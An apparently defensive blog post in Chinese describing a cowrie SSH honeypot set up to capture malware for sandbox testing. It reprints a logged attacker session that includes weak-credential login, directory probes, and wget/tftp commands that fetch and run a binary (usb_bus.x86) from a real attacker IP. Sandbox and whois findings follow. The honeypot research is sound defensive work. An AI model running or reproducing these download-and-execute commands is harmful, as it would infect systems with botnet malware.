导语:最近正在研究沙箱产品,为了更好的验证沙箱的准确性,需要对恶意软件的样本进行分析,就搭建了一套蜜罐系统,捕捉互联网的自动化攻击程序的drop payload。
0x00 前言
最近正在研究沙箱产品,为了更好的验证沙箱的准确性,需要对恶意软件的样本进行分析,研究以前别人归纳总结的样本其实意义不大(无法追踪最新的样本变化趋势),于是就搭建了一套蜜罐系统,捕捉互联网的自动化攻击程序的drop payload。OK那么我们开始。
0x01 捕捉恶意样本
当然做一个牛逼的蜜罐建议使用高交互蜜罐,我理解高交互蜜罐其实就是真实虚拟化操作系统,可以使用KVM方式实现,但是对于我的需求就是抓住自动化攻击下载的恶意程序即可,所以我选择了cowrie中度交互蜜罐。
建设架构如下:
还有需要修改一下cowrie中的userdb.txt中的账号密码:root/root,root/123456任何一个弱口令字典中肯定有。
真的难以置信,刚架设上不到5分钟,就已经有样本了。
1、New connection: 78.188.175.58:49529 (172.31.0.21:64444) 感染的扫描器地址。 2、login attempt [root/password] succeeded 3、direct-tcp connection request to 185.234.218.242:443 from 127.0.0.1:22 反向连接到185.234.218.242 4、sudo /bin/sh 5、/bin/busybox cp; /gweerwe323f 6、echo -e '\x47\x72\x6f\x70/' > //.nippon; cat //.nippon; rm -f //.nippon (\x47\x72\x6f\x70/=Grop/) 尝试建立目录Grop/ Grop/lib/init/rw Grop/proc Grop /sys Grop/dev Grop/dev/shm Grop/dev/pts 7、echo -e '\x47\x72\x6f\x70/lib/init/rw' > /lib/init/rw/.nippon; cat /lib/init/rw/.nippon; 8、echo -e '\x47\x72\x6f\x70/proc' > /proc/.nippon; cat /proc/.nippon; rm -f /proc/.nippon 9、echo -e '\x47\x72\x6f\x70/sys' > /sys/.nippon; cat /sys/.nippon; rm -f /sys/.nippon 10、echo -e '\x47\x72\x6f\x70/dev' > /dev/.nippon; cat /dev/.nippon; rm -f /dev/.nippon 11、echo -e '\x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon; cat /dev/shm/.nippon; rm -f /dev/ 12、echo -e '\x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon; cat /dev/pts/.nippon; rm -f /dev/ 13、cd /; wget http://185.234.218.242/bins/usb_bus.x86 -O - > usb_bus ; chmod 777 usb_bus ; ./usb_bus ;/gweerwe323f wget下载病毒样本 14、Downloaded URL (http://185.234.218.242/bins/usb_bus.x86) with SHA-256 fe7e278d41be519d75bccea58b4b22edbe176bdd4d83f049a6a55440219f908b to dl/fe7e278d41be519d75bccea58b4b22edbe176bdd4d83f049a6a55440219f908b 15、chmod +x ./usb_ver;./usb_ver; ./usb_bus ;/gweerwe323f 给执行权限 16、cd /; tftp -l usb_ver -r dlr.x86 -g 185.234.218.242 ; chmod 777 usb_ver ; ./usb_ver ; ./
185.234.218.242 nmap扫描结果:
0x02 沙箱分析
1、linux沙箱开源比较少,这里我选择的是腾讯的habo沙箱。蜜罐溯源其实主要关注网络分析结果。
@1、读取文件
详情信息:
read: path=/lib/x86_64-linux-gnu/libcrypt.so.1, size=832
read: path=/lib/x86_64-linux-gnu/libdl.so.2, size=832
read: path=/lib/x86_64-linux-gnu/libpthread.so.0, size=832
read: path=/lib/x86_64-linux-gnu/librt.so.1, size=832
read: path=/lib/x86_64-linux-gnu/libc.so.6, size=832
read: path=/lib/x86_64-linux-gnu/libgcc_s.so.1, size=832
动态加载模块函数。
@2、网络行为分析
微步查询:linuxusaarm.com 在3月28日由修改。
2018-03-28 修改 注册者: guang bei ******** ******** (see Notes section below on how to view unmasked data)
2、静态分析部分,在IDA中strings中发现,https SSL非标准协议,剩下的事大佬可以自己搞了。。。
这部分需要深入分析,暂时就这么多数据。
文件被stripped,丢失很多信息。使用lscan扫描后,发现现成的库占比很少加载到IDA也显示不了多少。